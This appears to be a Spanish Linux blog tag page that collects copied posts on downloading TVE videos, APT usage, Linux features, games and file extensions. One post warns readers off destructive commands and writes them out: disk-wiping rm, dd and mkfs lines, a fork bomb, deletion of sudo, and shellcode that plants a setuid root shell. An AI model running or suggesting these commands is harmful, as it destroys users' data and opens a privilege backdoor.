Posts Tagged GNU/Linux

Descargar videos de TVE con GNU/Linux

Navegando por internet me he encontrado un programa con el cual podrás descargarte los videos streaming de la web TVE. Solo tendrás que instar el programa y copiar la dirección del video y pegarlo al programa.

Podéis descargarlo desde aquí [GNU Public License (GPL), versión 3]. Contiene el código fuente.

1. Descomprimimos el archivo descargado en nuestro home de usuario. Accedemos a él, nos aseguramos de que tenga permisos de ejecución y lo ejecutamos.

2. Nos dirigimos a la sección de TVE a la carta y copiamos la ruta del vídeo que queremos descargar.

3. Pegamos la ruta anteriormente copiada y pulsamos intro.

4. El programa se ejecutará y mostrará la dirección del vídeo. Ahora da la opción de descargarlo (puede ser interesante, en vez de usar wget, copiar la dirección del vídeo para reproducir directamente en VLC u otros reproductores similares, o para descargar en gestores de descarga como JDownloader).

5. Si pulsamos sí, comienza la descarga con wget. El archivo se guardará en la carpeta del programa. En mi caso /home/carlos/descargarTVE/

El autor comenta que el código fuente está en fase alpha, quiere decir que se puede optimizar el programa. Esta sacado de este blog.

Dejar un comentario

Que comandos no usar en Linux

Los usuarios de Linux siempre presumimos de lo potente que es el intérprete de comandos, que nos permite controlar nuestro sistema a nuestro antojo y con una potencia que es muy difícil de lograr con un entorno gráfico.

Sin embargo y como dice el famoso anuncio, “la potencia sin control no sirve de nada“. O más bien, “la potencia sin control puede causar estragos” en nuestras distribuciones Linux, porque hay comandos Linux o combinaciones de comandos que pueden acabar con todo aquello en lo que habíamos trabajado en nuestro sistema.

Es precisamente lo que nos recuerdan desde Linux * Screw, donde avisan de que jamás de los jamases ejecutéis estos comandos en una consola de comandos. ¡¡Avisados quedáis!!

1. Cualquiera de estos comandos borrará todo lo que tengáis en vuestro directorio personal, en la raíz o en el disco:

sudo rm -rf /
rm -rf .*
dd if=/dev/zero of=/dev/sda
mkfs.ext3 /dev/hda
loquesea > /dev/hda
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
find -type f -mtime +30 -exec mv {} /dev/null \;
mv ~ /dev/null
mv / /dev/null

2. Con estos comandos conseguirás un kernel panic o dejar tu sistema tonto:

dd if=/dev/random of=/dev/port
:(){:|:&};:

A esto último se le conoce como fork bomb

3. Comando que hace lo mismo que “rm -rf /”, pero en plan enrevesado:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. Con este ya no podrás ejecutar comandos con privilegios de superusuario:

rm -f /usr/bin/sudo;rm -f /bin/su

Copy&paste de Muy Linux

¿Alguien conoce algún comando destroza-sistemas adicional? 😉

Dejar un comentario

Tarjetas de identidad de distribuciones GNU/linux

A modo de curiosidad navegando he encontrado unas “ID cards” de algunos sistemas GNU/Linux. Entre ellas las que  se pueden encontrar son Fedora, Debian, Mandriva, Suse, ArchLinux y Gentoo.

Os las podéis descargar e imprimir con vuestras imágenes.

Espero que os gusten, siempre podeis fardar.

Dejar un comentario

Principales características del sistema GNU/Linux

GNU/Linux no es solo un buen sistema operativo por ser Software Libre y muchas de sus distribuciones ser gratuitas y puedas instalar a tus amigos tu copia de tu sistema sin ningun problema, aquí te dejo algunas características que hacen a este sistema sea unos de los mas modernos, estables y personalizables.

Multiprocesador: Linux soporta el trabajo con más de un microprocesador en plataformas Intel y SPARC.

Memoria: En Linux la memoria funciona en modo protegido, de esta forma un mal funcionamiento en la ejecución de un programa no puede colgar el sistema completo.La memoria es gestionada como un recurso unificado para todos los programas de usuarios y caché del disco. Esto asegura que toda la memoria pueda utilizarse como caché y, a la vez, ser reducida cuando sea necesario ejecutar programas de gran tamaño.

Ejecutables: Linux utiliza la llamada carga de ejecutables por demanda, esto quiere decir que sólo se leen y cargan del disco las partes de un programa que son necesarias en el momento.

Escritura: Es implementada una política de copia en escritura para la compartición de páginas entre ejecutables, es decir, varios procesos pueden utilizar una zona de la memoria para ejecutarse. Esto da como resultado un aumento en la velocidad y una reducción en el uso de la memoria.

Memoria Virtual: Linux emplea la paginación, por lo que no se intercambian procesos completos al disco.

Disponibilidad:Todos los archivos de código fuente del núcleo, herramientas de desarrollo, drivers y todos los programas de archivos fuente de usuario están disponibles para ser modificados y redistribuidos con total libertad. Aunque también existen programas comerciales que son ofrecidos a Linux sin código fuente.

Consolas virtuales Linux: presenta la posibilidad de utilizar múltiples consolas virtuales independientes, que son
accesibles a través de combinaciones de teclas especiales.

Acceso a MS-DOS: Posee un acceso totalmente transparente a particiones MS-DOS, utilizando un sistema de archivos especial. No es necesario ejecutar algún comando particular para acceder a este tipo de particiones, ya que
éstas se presentan como un sistema de archivo propio de un sistema operativo Unix.

UMS-DOS: Este sistema de archivos propio de Linux permite que sea instalado sin problemas en una partición MS-DOS.

Copy&paste de: http://busquiel.sociallinux.org/2009/06/principales-caracteristicas-de-gnulinux/

Dejar un comentario

Manual básico sobre el uso de APT en Linux

Todos conocemos Synaptic, nos permite instalar programas o actualizarlos. De todos modos nunca viene de mas saber sobre el uso de APT ya que en alguna ocasión quizás debamos de usarlo.

La abreviatura APT significa Advanced Packaging Tool y es usado por todas las distribuciones basadas en Debian. Suele ser necesaria la conexión a internet aunque a veces también funcione sin ella. Las tareas que puede realizar APT son las siguientes:

  • Buscar paquetes en internet o localmente
  • Solucionar dependencias, algunas veces para que funcione una aplicación se necesitan otras, esto es una dependencia.
  • Descargar de internet aplicaciones, dependencias o paquetes
  • Instalar en orden correcto paquetes y dependencias

Los paquetes usados por APT provienen de los repositorios. Solo se puede hacer uso de APT en caso que seas superusuario o root (administrador). Seguidamente pondremos una lista de comandos y su utilidad. (Cuando ponemos paquete debe ser sustituido por el nombre del archivo).

sudo apt-get update

Actualiza los repositorios.

sudo apt-get install paquete

De este modo se nos instalará el paquete con sus dependencias de forma ordenada.

sudo apt-get -d paquete

Se nos baja el paquete y sus dependencias pero no se instala, esto es útil cuando queramos instalar estos paquetes en otras pc.

sudo apt-get –reinstall install paquete

Podemos actualizar el paquete o solucionar los problemas que pueda tener.

sudo apt-get install paquete1 paquete2- paquete 3

De este modo podremos instalar los paquetes 1 y 2 pero al poner el signo – delante del tercero este último de desinstalará.

sudo apt-get remove paquete

De esta forma desinstalaremos el paquete junto con todas sus dependencias.

sudo apt-get –purge remove paquete

Esta opción ademas de borrar todos los paquetes y dependencias borra los archivos de configuración.

sudo apt-get upgrade

Nos actualiza los paquetes a una versión mas nueva, pero antes se tiene que haber usado sudo apt-get update.

sudo apt-get dist-upgrade

Con este comando actualizaremos la versión del núcleo, Linux.

Los paquetes una vez instalados se quedan en var/cache/apt/archives. Pero los podemos borrar de las siguietes dos formas, pero cuidado si los borramos y después los queremos los tendremos que volver a bajar.

sudo apt-get autoclean

Este comando borra los paquetes de los cuales ya existe una nueva versión en el cache.

sudo apt-get clean

Este borra todos los paquetes sin excepción.

Para realizar las consultas de los paquetes tenemos las siguientes tres opciones:

sudo apt-cache search palabra

Busca todos los paquetes que contengan “palabra” en su nombre o descripciones y nos mostrará un listado con ellos.

sudo apt-cache show paquete

De este modo obtendremos información sobre el paquete.

sudo apt-cache depends paquete

Nos mostrará las dependencias del paquete, es decir de los que depende el paquete mencionado.

Copy&paste algo modificado de: http://paraisolinux.com/uso-basico-de-apt/

Comments (3)

Juegos para GNU/Linux

GNU/Linux no es solamente  comandos de consola, reglas  y archivos de configuracion, muchas personas creen que en nuestro sistema operativo libre no hay una lugar para el entrenimiento y la diversion. Este pensamiento es totalmente equivocado,  si bien hay que aceptar que existen juegos mas entretenidos y populares en Windows, GNU/Linux nos ofrece una diversidad de juegos   los cuales   no tienen nada que envidiarle a los juegos privativos, por esta razon hoy  he   deseado mostrar una pequeña recoleccion de los juegos existentes  para GNU/Linux, hay que aclarar que no los conozco todos, no soy un gamer constante, pero listare los que he probado y me han gustado:

  • SuperTux: basado en el tradicional Super Mario Bros, a diferencia de que este es software libre.
  • SuperTuxKart: Un juego libre de competencias de carros.
  • Extreme Tux Racer: Una pista de hielo donde Tux se desliza libremente, adquiriendo grandes velocidades.
  • Urban terror:Urban Terror es un juego FPS de estrategia en tiempo real al mas puro estilo de counter strike pero con gráficas mucho mejores que utiliza el motor quake. Obviamente esta bajo la licencia GPL
  • Open Arena: Es un shooter multijugador en primera persona al más puro estilo Prey con licenciaGPL y disponible para Windows y GNU/Linux
  • Armagetron: Consiste en manejar una moto que nunca se detiene y deja una pared atrás de ella. El objetivo es sencillo, hacer que tus enemigos choquen la pared, Es algo similar  a la serpiente de los moviles Nokia  a diferencia que este es multiplayer.

Fuente: http://www.rinconinformatico.net/2009/05/juegos-para-gnulinux/

Dejar un comentario

Extensiones de archivos en GNU/Linux

Las extensiones de los archivos han perdido importancia según han ido pasando los años, sobre todo en comparación con la “epoca dorada del MS-Dos” Esto es debido a que un extensión, habitualmente de tres letras, no identifica realmente el formato de un archivo, sino que puede nombrarse sin respetar su contenido.

A diferencia de de Windows que utiliza las extensiones de los archivos para determinar su timpo, y por tanto seleccionar la aplicación con la que se abren, GNU/Linux y otros SO Unix, solo utilizan estas extensiones por convención , pero no les son necesarias para determinar su formato.

Otra diferencia sustancial en su uso la encontramos en que en otros sistemas operativos las extensiones tienen tres caracteres, en linux es tan habitual encontrarnos de tres como de uno, dos o incluso cuatro o más caracteres. Sólo hace falta investigar un poco por las carpetas del sistema para ver las numerosas y variadas extensiones que existen.

A continuación os dejo las extensiones más usadas en este sistema operativo.

Ejecutables:

  • ELF: Formato binario estandar en GNU/Linux
  • PL: Script en lenguaje Perl.
  • PY: Script en lenguaje Python.
  • SH: Script de Shell, utilizado para crear pequeños programas.

Codigos fuentes y librerías:

  • A: Librerías estáticas.
  • C: Código del lenguaje C.
  • CPP: Código del lenguaje C++.
  • DIFF: Conjunto de isntrucciones que defines los cambios al aplicarse un parche.
  • H: Cabecera de archivos programados en C
  • LO: Archivo temporal creado en la compilación de una librería.
  • O: Archivo temporal creado al compilar un programa.
  • SO:Librerías compartidas, equivalentes a DLL en Windows.

Comprimidos y empaquetados:

  • ARJ: Formato de compresión muy habitual hace unos años.
  • BZ2: Archivo comprimido con la herramienta BZIP2.
  • GZ: Fichero generado mediante la herramienta GZIP, sustituta de la ya anticuada “compress”
  • RAR: Sustituto natural de ARJ.
  • TAR: Archivo empaquetado sin comprimir, habitualmente comprimido con GZIP o BZIP2, formando extensiones dobles. (ej. tar.gz)
  • TBZ2: Archivo resultante de comprimir en BZIP2 un archivo TAR.
  • TGZ:Resultado de comprimir en GZIP un archivo TAR.
  • Z: Fichero comprimido con la herramienta compress.
  • ZIP: Es el formato de compresión más utilizado en internet, aunque en GNU/Linux no es muy común usarlo.

Archivos del Sistema:

  • CONF: Archivo de configuración de un programa. Almacenados en su mayoría en el directorio /etc/
  • KO: Módulos del núcleo de l arama 2.6
  • LOCK: Indica el bloqueo de un servicio, proceso o programa. Se suelen guardar en /tmp borrándose con cada inicio.
  • LOG: Archivo de información, generados por el propio núcleo y los programas y servicios instalados.
  • PID: Ficheros identificadores de procesos, necesarios para el correcto funcionamiento de los servicios en ejecución.
  • SOCKET: Medio de comunicación entre dos programas situados habitualmente en equipos distintos.
  • TMP: Archivos temporales creado por un programa para almacenar información.

Distribuciones de paquetes binarios:

  • DEB: Usado por Debian y distros derivadas, entre las que destaca Ubuntu o Linux Mint como más conocidas.
  • DSC: Archivo de información del código fuente de un paquete en Debian.
  • EBUILD: Script utilizado por Gentoo para compilar e instalar paquetes a partir de su código fuente.
  • RPM: Usado por Red Hat, Fedora, CentOS, SUSE, Mandriva y derivados.
  • SLP: Distribución Stampede.
  • TGZ: Archivos TAR.GZ ya compilados para Slackware.

Fuente: http://iyanovich.wordpress.com/2009/05/10/extensiones-de-archivos-en-gnulinux/

Dejar un comentario

Older Posts »